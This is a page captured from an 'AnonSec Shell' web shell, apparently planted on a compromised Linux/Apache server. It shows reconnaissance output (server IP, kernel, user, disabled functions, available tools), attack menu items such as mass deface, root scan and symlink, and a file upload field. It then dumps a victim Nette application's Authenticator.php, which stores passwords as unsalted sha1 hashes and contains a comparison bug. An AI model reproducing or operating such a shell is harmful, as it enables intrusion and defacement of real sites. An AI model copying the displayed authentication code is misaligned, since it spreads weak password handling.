AnonSec Shell

. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . AnonSec Shell AnonSec Shell

Server IP : 31.31.79.131 / Your IP : 172.18.0.1 [ Reverse IP ]
Web Server : Apache/2.4.38 (Debian)
System : Linux a1822d00732a 4.15.0-39-generic #42-Ubuntu SMP Tue Oct 23 15:48:01 UTC 2018 x86_64
User : www-data ( 33)
PHP Version : 7.1.33
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,
Domains : 0 Domains
MySQL : OFF | cURL : ON | WGET : OFF | Perl : ON | Python : OFF | Sudo : OFF | Pkexec : OFF
Directory : /var/www/html/app/model/

Upload File :

[ HOME ] [ BACKUP SHELL ] [ JUMPING ] [ MASS DEFACE ] [ SCAN ROOT ] [ SYMLINK ]

Current File : /var/www/html/app/model/Authenticator.php

<?php

use Nette\Security;
use Nette\Utils\Strings;
use Nette\Database\Context;

/**
 * Users authenticator.
 */
class Authenticator implements Security\IAuthenticator
{

    private $clientReq = "
        id,
        email,
        bonus_program,
        bonus_points,
        name,
        surname,
        salesman,
        price_profile,
        course_default,
        country,
        user_group_id,
        prefix,
        company
    ";
    private $adminReq = "id,username,role";
    private $database;

	public function __construct(Context $database)
	{
        $this->database = $database;
	}

    /**
     * @param array $credentials
     * @return Security\Identity|Security\IIdentity
     * @throws Security\AuthenticationException
     */
    public function authenticate(array $credentials)
	{
        list($username, $password) = $credentials;
        $password = $this->calculateHash($password);
		$userData = $this->getAdminUserData($username, $password);
        $userIdentity = false;

        if(is_array($userData["admin"]) && count($userData["admin"]) > 1){
            $userIdentity["id"]["administrator"] = $userData["admin"]["id"];
            $userIdentity["role"][] = "administrator";
            $userIdentity["data"]["administrator"] = $userData["admin"];
        }
        if(is_array($userData["client"]) && count($userData["client"]) > 1){
            $this->database->table("client")
                ->where(['id'=>$userData["client"]["id"]])
                ->update(['logged_at'=>new DateTime()]);
            $userIdentity["id"]["client"] = $userData["client"]["id"];
            $userIdentity["role"][] = "client";
            $userIdentity["data"]["client"] = $userData["client"];

            unset($userIdentity["data"]["client"]['password']);
        }
		return new Nette\Security\Identity($userIdentity["id"], $userIdentity["role"], $userIdentity["data"]);
	}



	/**
	 * Computes salted password hash.
	 * @param  string
     * @param  string
	 * @return string
	 */
	public function calculateHash($password, $salt = NULL)
	{
		return sha1($password);
	}

    /**
     * @param $username
     * @param $password
     * @return array
     * @throws Security\AuthenticationException
     */
    private function getAdminUserData($username, $password){
        $adminRow = $this->getAdminData($username,$password);
        $clientRow = $this->getClientData($username,$password);
        if($adminRow == false && $clientRow == false){
            throw new Security\AuthenticationException('Toto uživatelské jméno neexistuje.', self::IDENTITY_NOT_FOUND);
        }/* elseif ($adminRow && $adminRow->role !== 'administrator') {
            throw new Security\AuthenticationException('Nejste administrátorem.', self::IDENTITY_NOT_FOUND);
        }*/ elseif ($adminRow != false && $clientRow == false) {
            if($this->getIdbyId($adminRow->id, 0)){
                $clientRow = $this->getClientDataById($this->getIdbyId($adminRow->id, 0)->toArray()["client_id"]);
            }else{
                $clientRow = null;
            }
        }elseif($adminRow == false && $clientRow != false){
            if($this->getIdbyId($clientRow->id, 1)){
                $adminRow = $this->getAdminDataById($this->getIdbyId($clientRow->id, 1)->toArray()["administrator_id"]);
            }else{
                $adminRow = null;
            }
        }
        if($adminRow == false){
            $adminRow = null;
        }else{
            $adminRow = $adminRow->toArray();
        }
        if($clientRow == false){
            $clientRow = null;
        }else{
            $clientRow = $clientRow->toArray();
        }
        return array("admin" => $adminRow, "client" => $clientRow);
    }

    /**
     * @param $username
     * @param $password
     * @return false|\Nette\Database\Table\ActiveRow
     */
    private function getClientData($username, $password){
        return $this->database->table("client")->select($this->clientReq)->where('email', $username)->where('password', $password)->where('is_active', 1)->fetch();
    }

    /**
     * @param $username
     * @param $password
     * @return false|\Nette\Database\Table\ActiveRow
     */
    private function getAdminData($username, $password){
        return $this->database->table("administrator")->select($this->adminReq)->where('username', $username)->where('password', $password)->fetch();
    }

    /**
     * @param $id
     * @return false|\Nette\Database\Table\ActiveRow
     */
    private function getClientDataById($id){
        return $this->database->table("client")->select($this->clientReq)->where('id', $id)->where('is_active', 1)->fetch();
    }

    /**
     * @param $id
     * @return false|\Nette\Database\Table\ActiveRow
     */
    private function getAdminDataById($id){
        return $this->database->table("administrator")->select($this->adminReq)->where('id', $id)->fetch();
    }

    /**
     * @param $id
     * @param int $method
     * @return bool|false|\Nette\Database\Table\ActiveRow
     */
    private function getIdbyId($id, $method = 0){
        if($method == 0){
            return $this->database->table("link_admin_client")->select("client_id")->where('administrator_id', $id)->fetch();
        }elseif($method = 1){
            return $this->database->table("link_admin_client")->select("administrator_id")->where('client_id', $id)->fetch();
        }else{
            return false;
        }
    }

}

Anon7 - 2022
AnonSec Team